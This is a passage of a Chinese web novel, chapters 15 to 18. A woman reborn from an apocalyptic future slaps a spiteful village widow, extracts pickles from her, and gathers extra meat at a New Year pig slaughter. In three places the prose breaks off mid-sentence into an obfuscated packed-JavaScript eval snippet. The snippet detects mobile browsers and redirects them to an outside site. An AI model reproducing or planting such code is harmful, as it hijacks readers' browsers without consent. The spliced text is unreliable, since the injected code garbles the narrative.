但当时村里所有人都知道“拖油瓶子”苏南来和“天煞孤星”宋望北已经定亲，就等着宋望北当兵回来结婚，可徐寡妇反而觉得宋望北去当兵了，村里更没人会管苏南来死活这一点，打定主意要让儿子“霸王硬上弓”苏南来。 对此，苏南来表示自己又不是傻疯了，怎么可能站着挨打，任由徐寡妇算计呢。 拜托，她的弱，是长得柔弱的弱，不是弱智的弱！ 虽说从前到现在，她的确是柔弱到一直需要丈夫保护，一直到上辈子去世时也都没有表现过十分强硬的一面。 但早在很久以前，久到宋望北还没被宋有牛收养时，他就教过她一个绝招，一个真的很绝很绝的绝招。包括后来苏南来在末世摸爬滚打时，这一招也救过她很多次。 这一招叫作，撩阴腿。 苏南来到现在都还记得徐大壮被自己一脚揣上命根子时发出的惨叫声，以及埋伏在旁，想等她儿子把事做成后，自己跳出来抓个现行，好叫村里人都知道的徐寡妇当时比徐大壮叫声还大的，那副悲痛欲绝的模样…… 印象太过深刻，以至于多年后的此刻，再见到徐寡妇这位许久未见的“故人”时，苏南来到底是没憋住，还没等对方开口放大招，就先扑哧一声地笑了出来。 徐寡妇：“……” 你礼貌吗？ 15. 第 15 章 第15章 所谓一鼓作气，再而衰，三而竭。 徐寡妇见苏南来不吭声只看着自己笑的样子，是既心虚又恼火，原本想好要说的话也在对方的注视下忘了个干净，只能强撑着场面，没头没脑地说了一句： “既然人县里公安的领导都说咱大队好了，那望北家的，你可不能做拖后腿的那个——” “徐婶子说这话是啥意思？我男人在外面保家卫国，我这个做家属的肯定是要向他学习、共同进步，总不能像……呵，真要说拖后腿的，不应该是爬咱村里女厕所被抓着后到现在还得负责挑大粪的人？哎呦，我也是忘性大，这回去县公安咋就忘了跟公安说这事呢——” 苏南来盯着徐寡妇，一字一句道：“这光挑大粪可不算惩罚。偷看女厕所这种行为可是耍流氓，得抓起来送去改……” “村里的事向来村里解决！你他娘的动不动就找公安根本就是坏规矩！”没等苏南来说完，徐寡妇就蹦得老高，恨不得冲上来给苏南来嘴撕破了。 不为别的，就因为偷窥村里公厕被抓着后得天天挑大粪的人，是她儿子！ 徐大壮自打当年被苏南来踹了一脚，那玩意儿就跟吓着了似的，自此就支棱不起来了，再加上他天生小儿麻痹，三十好几的岁数也说不上媳妇，久而久之就滋生了去队里女公厕爬墙头的变态癖好。 被队里的妇女抓着好几回，可架不住他就是过过眼瘾，支棱不起来也做不出那种真正耍流氓的事，而徐寡妇又是个能撒泼耍浑的人，队里索性就给他看管起来，不许他在公厕附近晃荡，并且为了惩罚他，更是以满足他想上女厕所的心愿为由，把队里谁都不乐意的挑大粪挣工分的活儿交给了他。当然，是让他夜里去挑大粪，还是有人在旁监管那种。 听到苏南来提起这事，大伙儿也想起了徐大壮之前天天趴厕所的变态行为。在场不少婶子大娘小媳妇的都被他偷看过，想想就来气！ 村里的事的确大多都村里解决，但在场人不免想，要是县公安能给徐大壮这偷看女厕所的行为彻底管住，那倒也不失为一件好事……想到这，原本还想替徐寡妇说和几句的人也都不吭声了。 苏南来看了一眼被孤立还不自知的徐寡妇，嘴角勾起，带有十分嘲弄意味地笑着说道：“徐婶子您可真会给我扣帽子，刚还说我给咱队里的风气拖后腿，这会儿又说我找公安同志是坏队里的规矩……怎么到您这嘴里，我干啥都不行也都不对呢。” “你不拖后腿、不坏村里规矩，你能把你婆家人全都送进县公安？！”徐寡妇被对方的话气得火冒三丈，用在场人都忍不住皱眉的尖锐声音喊道，“这四外五村上哪儿有你这样把自己男人亲爹妈当贼抓起来的媳妇！还风气好呢，这要是娶进来的媳妇都学你这样，那咱们大队不如都直接搬去县公安住！” 这话一出，大伙儿神色各异，唯有被针对的苏南来的表情没有半点变化。 她先站在原地欣赏了一会儿徐寡妇在说完这话后一脸得意，以为掐住自己命脉的样子，后猛地上前几步，迎着徐寡妇挑衅般的眼神，在众人不明所以的目光中，走到了她的面前，抬手就是一巴掌： “啪——” 脆生生的巴掌抡圆落在徐寡妇的脸上，力道大得当场就让她被冻得有些惨白的脸上有了几分不自然的红晕，也差点没给她人扇倒在地上。 扇完人，苏南来甩了甩手，笑盈盈道：“婶子，您说您这年纪大了就不要出来闹笑话嘛。啥子婆家人、亲爹妈？我丈夫的亲爹、我家圆圆的爷爷，叫宋有牛。” 苏南来看着徐寡妇，字字句句都没提老宋家的人，却足够让在场人明白她打徐寡妇的原因，和对老宋家人的态度。 “可惜我公爹去世了，不然以他的性格肯定是恨不得从坟头里爬出来，再跟我刚那样似的，狠狠给你来上两巴掌叫你清醒清醒！” 徐寡妇是个迷信的，听了这话多少有些心虚，可还没等她有所反应，就听听苏南来又说道：“但没关系，他不能亲自给徐婶子你个教训，我可以替他教训你。” 苏南来说话和做事向来是温温柔柔的，从来没见过她跟人呛声或动手，也就不免让大伙儿认为她是个近乎软弱的性格。 如今这毫不留情的一巴掌打出去，哪怕打完后再开口说话时的语气也还是温柔得可以，但也还是叫大伙儿吓了个够呛，甚至觉得这样更可怕。 众人心想，这望北媳妇只去趟医院再回来咋就跟变个人似的，前脚刚给老宋家抓进去，后脚就又给徐寡妇个耳刮子……这，不敢惹不敢惹。 苏南来没理会其他人的神情变化，只看向被自己一巴掌打懵后很快就反应过来，说着就要原地撒泼的徐寡妇，十分稳准狠地又是一巴掌—— “……你个小娼妇别以为有个当兵的男人撑腰就能动手欺负人！老娘也不是好惹的！” 又一巴掌。 “他宋二柱子别以为改了个名就能连亲爹妈都不要，他就是天煞孤星！连带着你个扫把星一起连亲爹娘都被你们克得蹲笆篱子去了，还不许人说……” 再一巴掌。 几巴掌下来，一旁看热闹的大伙儿都麻了，偏偏徐寡妇被打得毫无还手之力还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223666|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那嘴硬。 众人：“……” 多少是有点活该了。 对于苏南来毫不留情面，也毫不顾忌在场那么多人旁观的暴力行为，众人也终于意识到苏南来这次回来后于性情上的转变——她这是不打算再像从前那样，因怕惹麻烦、怕被人说闲话，而继续委屈自己了。 想明白这点，大伙儿也都不敢再待在她家院子里看热闹了，全都麻利儿溜回家，打算回去跟家里头也都念叨念叨这事，免得以后家里也有人跟这徐寡妇似的，还拿苏南来当从前好脾气的泥人，觉得她好拿捏，再撞枪口上。 这时，邱丽娟姗姗来迟，手里还拎着给苏南来热好的饭菜。 看着大伙儿扭身要走的架势，并不知道刚刚发生了什么的邱丽娟下意识客套了一句：“这就回去了？不过今天儿是挺冷，这还没下雪呢，等一下雪一上冻，这外头可就待不住人了……” 邱丽娟边跟大伙儿错着身寒暄着，边低头跺了跺脚，再一抬头就先让徐寡妇被抽肿的脸给吓了一跳：“哎呀妈呀，这啥啊！大壮妈你这……你这是吃冻梨给你整过敏还是咋了，这嘴咋都肿成这样了呢！” 大伙儿：“……” 徐寡妇：“……” 不是，这啥眼神啊，还吃冻梨过敏…… 她明明是让嘴巴子给抽肿的！ …… 咳！ 邱丽娟咋可能看不出徐寡妇是让人打了呢，只是考虑到人都还在苏南来家院子里站着，怕对方撒泼耍无赖再给苏南来添堵，故意装不知道罢了。 大过年的，多一事不如少一事。 邱丽娟装作没看到徐寡妇一脸想要自己给她做主的样子，默默避开了对方的眼神，转身对已经走到院门口的大伙儿说道：“正好大伙儿都在，我就替我们家老田跟大伙说一声他今晚上跟赵主任都先不回来了——” 大伙儿并不关心村里的大队长和治保主任回不回来这事，听了这话也没止住继续往院外走的脚步，只想着队里的两位领导都得明天才能回来，那明天估计就能偷偷懒，等他们回来以后再上工。 在这个沉默的空档，徐寡妇正想一鼓作气地嚎上一通，好逼一逼旁边摆明是在装傻充愣、转移话题的邱丽娟给自己做主呢，就听见邱丽娟比她早一步地放了个大雷出来： “嗐，这天太黑不好骑车，他俩只能在公社对付一宿。 “所以，请来的杀猪佬也只能等到明天早上才能来队里杀猪了。” 众人：“！！！” 杀猪？！你要说这个，我们可就不着急走了！ 16. 第 16 章 第16章 要说农村人为啥期待过年。 不光是过年前后是难得的农闲，更是因为只有在过年的时候，他们才能吃上平时舍不得吃的好东西。也只有在过年的时候，村里才会杀年猪，家家户户才能分到宝贵的肉！ 去年由于去年国家号召大炼钢铁，家家户户的铁锅都贡献出去了，连着队里的农具也跟着上交上去，地里的活计被耽误了，收成不行，队里几个领导一合计，索性就加大了新一年的养猪力度，这年头的猪还不是那么娇贵，给点秕谷秕壳、野菜野草还有糠麸糟渣就行。 他们大队今年一共养了十头猪，其中七头是任务猪，头阵子公社就派人给拉走了，剩下的三头就是会在明天按人头统一分配的年猪了。 “……老田的意思是咱们明天先宰两头猪，叫咱大伙先把阵子秋收忙活出来的亏空补补，还能提前做点能存得住的腌肉、咸肉啥的。至于剩下的那头，就还跟去年似的，等小年再宰，到时候还能再分点新鲜肉。” 邱丽娟说着关于这三头猪的安排，怕大伙儿不理解嫌这样费事，就又解释了一句：“这三头猪是咱接下来一年的嚼头，这样安排也是想让咱大伙儿能合理分配这些肉。要是全赶一天杀年猪分猪肉的话，大伙儿处理这些肉也麻烦，包括其他生产大队那边也肯定都得是差不多时间杀年猪，到时候时间也是挺紧张。” 一听说明天就能杀年猪分肉，大伙儿心里都高兴得不得了，对于这三头猪是一起宰，还是分开宰表示都无所谓！只要这肉能分到手就行。 再说，这要是分两回杀年猪呢，不就等于能吃两回杀猪菜？那必须同意啊！ “今年来咱队里的杀猪佬不会还是去年那个吧？去年那个手艺不行，骨头上的肉都剔不干净，还是姓刘的那个杀猪佬干活利索。” “等会儿回去别忘了去宋老蔫儿家一趟，明天杀猪队里的杀猪菜肯定是他掌勺，得让他提前准备好酸菜！” “杀猪菜里的酸菜能不能用豆腐李家的？她婆婆腌的酸菜在咱大队也是数一数二的！” “……” 大伙儿你一言我一语地说起了对明天的期待，谁都顾不上理会一旁的徐寡妇。 再一次被打断输出的徐寡妇恨得牙痒痒，却也不敢再闹腾，生怕再让大伙儿想起她儿子偷窥女厕所的事，也怕揪着苏南来不放会得罪向来照顾她们娘俩的邱丽娟两口子，到时候再影响明天分肉。 去年就是因为她儿子之前去女厕所被队里发现，年底分给她们娘俩的肉那叫一个瘦啊，一点肥肉都没有！ 想到这，向来疼儿子的徐寡妇不免有些糟心，心里也更怨恨起了苏南来。要不是她当年下狠手……不，是下狠脚，她家大壮早娶上媳妇也不至于天天去趴女厕所啊。 徐寡妇想着，不免恶狠狠地瞪了一眼苏南来。 “徐婶子，你是不是脸蛋子过敏得发烫发痒，想让我帮你止止痒啊？”苏南来察觉到了对方并不友善的目光，扭着手腕子问着对方这话，仿佛只要徐寡妇回答得不叫她满意，就…… 徐寡妇被打得多少有点肌肉记忆了，下意识缩着脖子闭着眼地往后躲，生怕叫自己本就肿着的脸上再挨对方一巴掌。 对此，苏南来毫不在意地笑了，用她始终没变过的温柔声音又问：“徐婶子，老宋家和我们家啥关系，我家阿北的亲爹到底是谁……你再给我说说呗。” 徐寡妇：“……” 刚刚被打了几巴掌都没服软的人，此时此刻却被苏南来轻声细语的问话给吓得说不出话来。 徐寡妇也不知道自己是咋回事，她只觉得苏南来此时此刻的眼神和语气实在是可怕，可怕到……徐寡妇的心中升出一个她自己都觉得不可能的可能……赵金花会不会没有说谎，她是不是真的是让苏南来…… 这个念头，让徐寡妇不禁打了个寒颤。 徐寡妇做梦也想不到面前的人是个从末世“周游”回来的狠人，或者说，她根本不知道啥叫末世。 她只知道苏南来是真的不好惹。 至于刚在心中升起的猜测…… 不好说不能说也不敢瞎说。 徐寡妇是真有些后悔招惹苏南来了，可如今后悔也晚了，现在是人家不愿意放过自己了。 面对苏南来此刻的逼问，徐寡妇心里那叫一个悔啊，只能支吾了片刻，最终不得不认命地回答道：“你们和老宋家啥关系也没有……你家宋望北的亲爹是宋有牛……” “原来婶子你都清楚啊。”苏南来十分有耐心地听着对方说完，并给出了总结语，“看起来，徐婶子你是对我有意见，故意说出来的。” “我不是！”徐寡妇吓得高声否认，硬生生在自己刻薄的脸上挤出了几分笑容，讨好道，“南来丫头你瞧你说的，婶子咋说也是看着你长大的，不可能会对你有意见的。刚刚说的那些话……那些话都是婶子胡言乱语，你别见怪……” “一缸酸菜。” “？啥？？？” 面对徐寡妇的茫然，苏南来一本正经地又说了一遍：“给我一缸你腌的酸菜，这事在我这就算翻篇了。” 论腌酸菜，四外五村加起来也没有徐寡妇腌的酸菜好吃。 徐寡妇的婆婆是延边少数民族出身，腌菜腌酱都是一把好手，一身的手艺都传授给了从小就在老徐家当童养媳的徐寡妇。 村里人也都知道她做的腌菜好吃，可她为人抠搜，谁也别想占她家半点便宜。 一缸酸菜，够徐寡妇心疼一年的。 苏南来不会做腌菜，包括各种腌制的酱啥的，她全都不会做。 往年家里吃的这些腌物都是宋望北回家探亲期间腌出来的，今年他没办法回家过年，自然也腌不了，可她所处地区冬天除了腌菜几乎没啥可吃的新鲜菜，所以…… “再来一缸辣白菜吧。还有你家里腌的那些酱啥的也都给我盛几坛，最好是豆瓣酱，捞面条还是得炸豆瓣酱最香。”苏南来也很喜欢吃辣白菜，包括这回在县医院吃得捞面也多少有点不过瘾，手擀面还是得吃五花肉炸酱的，圆圆也喜欢吃。 徐寡妇：“……” 我错了，我从一开始就错了…… …… 赶在人群散去，邱丽娟关注到这边前，苏南来和徐寡妇约定好了明天会把腌菜送过来后，徐寡妇就顶着自己被打肿的脸，和被差点掏空家底儿而疼得不行的心离开了。 人群散去，邱丽娟捧着用瓦罐装着的热乎饭菜同苏南来进了里屋，连忙关切地问道：“徐寡妇没难为你吧？她这人向来是欺软怕硬，南来你这回也算是支棱起来了，虽说打人不对，但像徐寡妇这样的人就该给她个厉害瞧瞧，省得她总是唯恐天下不乱地跑来招欠儿！” 这话说得苏南来心里熨帖，只是不能表现出来，只能仿着从前那样，垂头说道：“主要是她又提起我家阿北和老宋家的事……” “早都不在一个户口本上的人能有啥关系！”邱丽娟想也知道徐寡妇是说了这事，不然以苏南来的脾气是做不出当着那么多人就动手的举动的。 邱丽娟知道苏南来向来不愿意提老宋家，就只骂了徐寡妇几句后，低头将带来的饭菜放到了苏南来支好的炕桌上，说道：“这大冷天的，要不是食堂晚上不开饭，我也懒得做饭。这不，晚上我也就蒸了十多个菜饽饽，想着这玩意儿省事，连着明天早起的饭也都有了。” “给你拿了六个过来，绝对够你们娘俩吃到明天的。” “还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13237022|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶子做菜实在！就这六个饽饽的分量都够我在县医院那两天吃的了。”苏南来不是奉承对方，而是邱丽娟从前给红军做过饭，那时候她总怕队伍里那些年轻战士们不好意思多吃，就刻意把干粮做得分量又足又大，一份干粮就能够管饱，到今天她也没改掉这做饭习惯。 像是眼前这几个菜饽饽，个个都有成年男人巴掌大小，里面还被塞满了馅儿，一个个看上去是圆圆鼓鼓的，寻常人的饭量也就能吃下俩。 苏南来估摸了一下自己重生后越来越好的饭量，觉得自己一顿差不多能吃三个半？四个倒也能吃得下去，但可能会有点撑。 想着自己随着吃进肚子里食物的增多而跟着慢慢恢复的力气，苏南来又觉得，撑点就撑点吧，总比饿着强。 邱丽娟可不知道苏南来如今的饭量有多大，本来想着说拿三四个过来就肯定够她们娘俩吃的，但又这样给人送来不够敞亮，索性就拿了六个取个吉利，也省得苏南来又得照顾孩子又得烧火做饭的。 “我也是想着多拿几个省得你再做了。回头要是还想吃就跟我说，我再给你送！哦对了，明天咱队里杀年猪，你记得早点来，还能分点猪血灌血肠吃……” 邱丽娟在同苏南来说完关于明天杀年猪分肉的安排后也没多留。 北方的冬天天黑得早，他们大队又地处偏僻。 这黑灯瞎火的，丈夫又留在公社不回来，邱丽娟到底是不放心闺女一个人在家，在嘱咐了苏南来记得把门栓好后就匆匆离开。 目送着邱丽娟离开，苏南来的心里充满了对明天杀年猪的期待。 嘿嘿嘿。 小猪猪。 …… 跟睡着的闺女在炕上并排躺了会儿，又吃了个菜饽饽后，苏南来才想起院门还没锁，慢腾腾地起来穿上棉袄准备去锁院门。 院子的外锁被撬坏了，从外头锁不上了，得抓紧买把新锁头才行……苏南来边心里想着这事，边没怎么费力气地单手拿起了被竖放在地上的木头门闩，给院门从里头锁了起来。 嗯，力气大概恢复了两成左右。 苏南来活动活动手臂，觉得按这个恢复速度，自己应该能在过年前后就将身体素质恢复到末世时的状态。 当然，她力量的增长和啥末世小说里的异能没关系，纯是一种生态本能的优胜劣汰，是身体在末世经历无数天灾的过程中，为了能够生存而随着环境变化得到更强适应的那种类似生物进化的状态。 在末世时，几乎每个人的身体素质都得到了增强。 五感、力量和强壮的体魄，都是苏南来在末世中不断进化、锻炼出来的，只是她怎么也没想到自己灵魂的重生还能将在末世时炼出的身体能力慢慢塑造回来。 这或许要感谢系统？苏南来回忆着自己重生前系统对自己说会给她一个重生礼物的话，心里默默感谢着可能不会再出现的系统。 有了这份力量，她就能更好地守护自己的小家了。 当然，如果明天能多给她分点猪肉肯定能让她恢复更多的力量……嘿嘿，苏南来努力扒拉着自己记忆里关于去年分肉的场景，想着她家好像是分到了一斤半猪肉和一根大棒骨？她有点记不清了。但无所谓，只要是肉就行，不管是肥还是瘦，她都爱！ 想到邱丽娟离开前答应说要分给自己的猪血，苏南来越发期待，睡着前还惦记着这事，心说自己明天得早点起，好去猪圈那边的空地占个好地方。哦，还得带个盆，留着装猪血用…… 她家圆圆最喜欢吃猪血肠了！ …… 所以…… 谁能告诉她…… 为什么才刚早上六点半…… 猪圈这边就已经来了这么多人？！ 17. 第 17 章 第15章 早上六点半，天蒙蒙擦亮，小辛庄生产大队的队员们就早早等候在猪圈旁的空地，不畏严寒地开始了杀年猪前的准备工作。 负责养猪的刘大妮早在头几天就知道要提前先杀两头年猪分肉的安排，并在知道信儿后就忙活起了杀猪前要做的事。 刘大妮捶着肩膀头说道：“早两天我就开始给这两头猪‘溜肠’了，给这猪就饿得哼哼不停，吵得我这几天都没睡好觉！” “没睡好觉？我有个好招——”一旁负责烧水的李桂香笑着调侃道，“等猪肉分到手，你就把这猪肉拴在床头上，这天天闻着这猪肉香，保证你能一觉到天明！” “嘿，你这人！” 李桂香和刘大妮关系好，俩人说说笑笑着边干活边逗着话。 正说着呢，李桂香就十分眼尖地看见苏南来从不远处走来，连忙朝她招手：“欸，望北媳妇过来了？咋没带个板凳过来！快过来，这大队长和治保主任都还没回来呢，这杀猪还得等会，先上我们俩这坐会来！” “嫂子，你们这么早就过来了啊……”被喊住的苏南来一时间有点想不起对方是谁，但看李桂香和刘大妮也就三十来岁的样子，喊句嫂子准没错！ 苏南来坐下后，用十分符合自己以往人设的腼腆模样，不好意思地说道：“我还以为我这来得就够早的了，结果一过来才发现我是最晚的一个，也不知道还能帮点什么……” 李桂香是个敞亮人，没等苏南来话说完就摆了摆手道：“嗐，就这点活也费不了啥事，你就跟这坐着等一会杀猪分肉就行了！” 说话间，她又往灶里添了把柴火，一改刚刚的大嗓门，只微微仰头徐寡妇那努了努嘴，压着声音问苏南来：“咋，听说你昨天跟徐寡妇动手了？她是不是又说啥难听话了？” “……”苏南来明白了，心想这又是个想看热闹却没赶上，只能找自己转播的乐子人。 不过乐子人好啊。 苏南来想起徐寡妇昨天明明说好会在早上把腌菜送过来的承诺，和到现在自己人都过来等着分肉却连个腌菜叶子都没见着的架势，就知道徐寡妇这是想赖账。 正好这会儿有人好奇昨天的事，苏南来自然不会放过这个机会，直接看向不远处强装镇定的徐寡妇，对她露出了一个核善的微笑后，表示： “哪儿呀，我就是和徐婶子闹了点误会，昨天就已经把事情都说开了——” 不等李桂香表态，苏南来就直接点名徐寡妇：“徐婶子，你说是吧。昨天咱俩握手言和的时候，你还说要送我点你亲手腌的腌菜呢。” 的确想赖账的徐寡妇：“……” …… 在当着大伙儿，把徐寡妇挤兑得不能不咬着牙应下送腌菜这事后，苏南来只觉得心里畅快得不得了，正盘算着这腌菜到手后该咋吃呢，就听见人群中传来的躁动声。 扭回头一看，就看到了从远至今的手电筒亮光。 ——田丰年和赵树立带着杀猪佬从公社回来了！ 杀猪佬一来，大伙儿全都激动得不得了，一窝蜂地拥上前去迎。苏南来也不例外，跟着人群就围了上去。 她想看看杀猪佬是咋杀猪的——小辛庄这地方背靠深山，山里是真有野猪的。上辈子闹饥荒的时候，队里组织的冬猎队就遇到野猪群，田丰年就是惨死野猪脚下的。 田丰年是个好同志，苏南来想救他，就得先把野猪解决了。 这提前学学杀猪技术也是为以后遇上野猪能直接上手分猪肉……咳，学无止境嘛。 在其他人看来皮糙肉厚还骚气的野猪，在苏南来这里却是能让她大快朵颐的好食材。家养猪味道再好也没办法敞开肚皮吃，真要想吃个痛快还得是抓着一只就能嘟噜出一串的群居野猪…… “南来？想啥呢，是不是刚杀猪给吓着了？哎呀别害怕，想想中午就能吃上的杀猪菜就没啥可怕的了！” 看着苏南来愣神的样子，邱丽娟还以为她是叫杀猪这血忽淋拉的场景给吓着了，安慰了几句后，又将分出来的一小盆猪血塞给她，小声说道，“这分肉还得等会儿，你先把猪血放回家后再过来，这人多眼杂的，你拿着盆让人看见不好！” 看着眼前被抬到搭好的台子上准备褪毛的猪，和刚刚邱丽娟偷偷分给自己的一小盆猪血，苏南来这才匆匆回神，点头示意对方自己明白了后就扭头离开。 回去路上，天已然大亮。 苏南来望着看似很近实则需要走很远才能到的深山静林，心中多少有些遗憾……在几乎所有人都去围观杀猪等待分肉的今天是她进山捕猎的最佳时机！ 没有人会关注到自己，并且只需要半天的时间就绝对能在山中能有所收获，还能不耽误中午回去食堂吃杀猪菜。 但，身体还没能恢复到最佳状态，苏南来不敢冒险。并且邱丽娟也还等着自己把猪血放回去后带着这会儿应该已经睡醒的闺女一起去领肉…… 算了，再找机会吧。 苏南来恋恋不舍地看着宛如宝藏般的山峦，加快了回家的脚步。 …… 回到家，苏南来先把盛着猪血的盆放到了屋里背阴的地方，这玩意儿不用咋处理，邱丽娟把该放的调料都放好拌匀了，拿回家再搅合几下就等着它自己凝固成冻儿就行。 苏南来把盆子放好后，就进屋看了眼闺女，见她还迷迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260740|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪瞪的，就知道她这是生病那几天在医院睡习惯了回到家就总觉得还没睡够，慢慢也就能缓过来，便也没强行叫醒她，只给她穿好衣服后又裹了层小被窝把脑袋裹好后就按照传统的“背孩子”的方式背着闺女出门了。 来回折腾这一通，再回去猪圈的时候，大伙儿都开始排队分肉了。 队里的分肉标准是12岁以上能跟着上工挣工分的就按人头均分，12岁以下还不能挣工分的就按人头的一半分。 这年头也没个避孕手段，谁家没有个三四五个孩子，以及四五六个孩子生的孙子。真要是大人小孩都分到同等分量的肉，那别说三头猪了，就是三十头猪也不够大伙儿分的。所以，大伙儿对这个分配标准也还算是认同。 这两头猪去掉下水和棒骨后，加起来也就只有二百斤的分量，平均到每个人手里的大概能不到两斤？和去年差不多，但比起去年，今年到底是多养了也还能再多分一头猪，等到小年还能再分一回肉。对此，大伙儿都挺满意。 苏南来也很满意。 不仅仅满意于她和闺女俩人和去年一样分到了差不多一斤半不算肥也不算瘦的五花肉，和对留守军属特殊照顾的一根棒骨，更满意的是……按人头分肉，老宋家连大人带小孩一共12口人，能分到至少十斤肉！ 嘿嘿。 他们人虽说被抓进县公安了，但份额还在。苏南来觉得自己应该学习老宋家上辈子对待她那样，当仁不让地发扬担当精神，替他们“保管”他们的猪肉！ 心动不如行动！ 苏南来兴奋地搓了搓手，边四处寻找邱丽娟的身影，边小声对被自己背在身上的闺女说话，也不管她听不听得懂：“闺女，咱家马上就能多出十斤肉了，你说咱娘俩咋吃好呢？妈觉得还是炖红烧肉香，回头还能剩下点剁馅儿包饺子！熟猪肉馅儿的饺子可好吃……欸，邱婶！” 话没说完，苏南来就在人群中捕捉到了邱丽娟的身影，顾不上馋饺子流口水，连忙边喊邱丽娟，边背着手扶着闺女小跑着追了上去…… 刚走到跟前，还没等苏南来说明来意，邱丽娟就先左右看了看，见大伙儿都在那头排队等分肉，没人注意到她们俩，她不禁冒出来一句：“南来你来得正好——” 邱丽娟边说边背对着人群塞给苏南来个大油纸袋子：“这是按老宋家人头分出来的肉。赵金花不老跟你面前摆婆婆谱，说你家的东西就等于是她的东西所以拿啥都不算偷吗，正好今年他们这一家子都在县公安蹲着不能过来领肉，你就把分给他们的肉当成自己的拿回家！” 苏南来：“！！！” 还有这种送上门的好事？这不叫我得来全不费工夫吗！ 18. 第 18 章 第18章 出于对白来的那十斤肉的惦记，苏南来就没有在大队食堂多耽误，唏哩呼噜地将自己那份快速吃完，又给闺女喂饱后，就迫不及待地准备回家炖肉了。 没办法，实在是饿啊！ ——食堂的杀猪菜是挺香，可架不住每人每份都是定量的，给女同志的定量更是比男的要少，苏南来连着自己这份外加闺女吃剩下的都打扫干净了也才勉强吃了个半饱。 好不容易重生回来，苏南来不愿意委屈自己的五脏庙，更是受够了吃不饱饭的滋味儿，直接抡起菜刀，对着案板上的十斤肉就是一刀！ 炖个二斤肉应该就能够吃的？ 苏南来掂着手里沉甸甸的猪肉，开心激动之余，又忍不住想起了丈夫宋望北……她家阿北刚参军时曾当过炊事兵，做饭的手艺比四外五村最有名的流水席老范师傅做得还好吃！ 这些年只要他在家，就从来都不用自己烧火做饭，一日三餐、刷锅洗碗……家里家外的活计都他一个人负责，自己从来不用操心半点！ 像是过年分肉这种事，往年从来都不用自己过来排队不说，她家阿北也是帮着杀猪抬猪的主力，猪血、猪下水这些东西都不用像今天这样由邱丽娟偷偷地给自己，队里就会直接分些给过来帮忙的人，她只要在家和闺女一起一觉睡到自然醒，醒来就是现成的饭菜。 比起不擅长做饭的自己，她家阿北做的红烧肉才是最好吃的！ 在止不住的思念中，苏南来一心二用地将拿回来的猪肉切成大小、尺寸都分毫不差的方块后又为自己没能重生回到再早一点的时间点而失落了一会后，她又想起了被自己放在屋里炕上自己玩的闺女。 虽说圆圆才刚两岁多，又因为这次生病有些发蔫儿，但她从小就对他人的情绪变化极为敏感，苏南来不想让闺女受自己的影响，也怕她会像这次生病前那样哭着跟自己要爸爸，只能努力将对丈夫的思念压下，转而将注意力放在了眼前这些被切好的肉上。 所以…… 红烧肉该咋炖来着？ …… 苏南来从来不擅长做饭，后来到了末世是想做也没那条件，到后期更是直接人手一份营养液，别说做饭了，那是连口热乎饭都吃不上！ 如今好不容易回到了自己这有山有水有树林的和平年代，好不容易能吃到新鲜的食物和热腾腾的饭，并且眼前就是能给自己提供更多能量和满足的整整十斤猪肉，她，却只能在这里望“肉”生叹—— “呼——” 苏南来无奈地叹了一口，决定不再为难自己，出门去寻找会顿红烧肉的人帮忙！ 她出于本能习惯性地想要先擦一擦手里的刃器后再把其放好后就出屋的时候，却在拿着抹布碰到刀刃的瞬间意识到——这里不是末世，她手里拿的也只是把普通菜刀，不是沾满了丧尸血的武器。 “……这个习惯得改掉。”苏南来喃喃自语地说着，准备出门找邱丽娟问她能不能过来她家帮忙炖锅肉。 哦，还得找徐寡妇要酸菜。 光吃炖肉太腻了。 …… 这在部队做过大锅饭的人的手艺就是好！ 在猛吃了半锅由邱丽娟亲手制作出来的香喷喷的红烧肉后，苏南来的心情可谓是相当哇塞。 ——用了足足二斤肉做菜，简直是从前地主老蔡家才有的日子！ 再吃口从徐寡妇家薅来的各种腌菜，外加邱丽娟蒸的窝头，有荤有素有主食，那是相当得美！ 给邱丽娟分走一碗肉当做回礼后，锅里也还剩下小半锅的红烧肉，苏南来摸着自己吃得溜圆儿的肚子，没有半点“吃饱了这顿就先不想下顿”的想法，而是翘着二郎腿思考着剩下这锅肉该咋吃。 包饺子吧。 明天就是阳历年，还是得吃顿包饺子。 苏南来想着白天从徐寡妇家顺手薅来的那颗还算水灵的大白菜，决定就用剩下的红烧肉和白菜一起包熟肉馅儿饺子吃！ 不过，在包饺子之前，她明天得早起去趟县里。 ——家里没有白面了，包饺子可不能用高粱面。 正好也能借此机会去县里找军军奶奶，和她那个在粮站当领导的儿子再问问买粮的事。 荒年马上就要到了，她必须得抓紧行动！ …… 第二天一大早，苏南来抱着闺女来到了邱丽娟家。 她打算跟田丰年借自行车去县城。 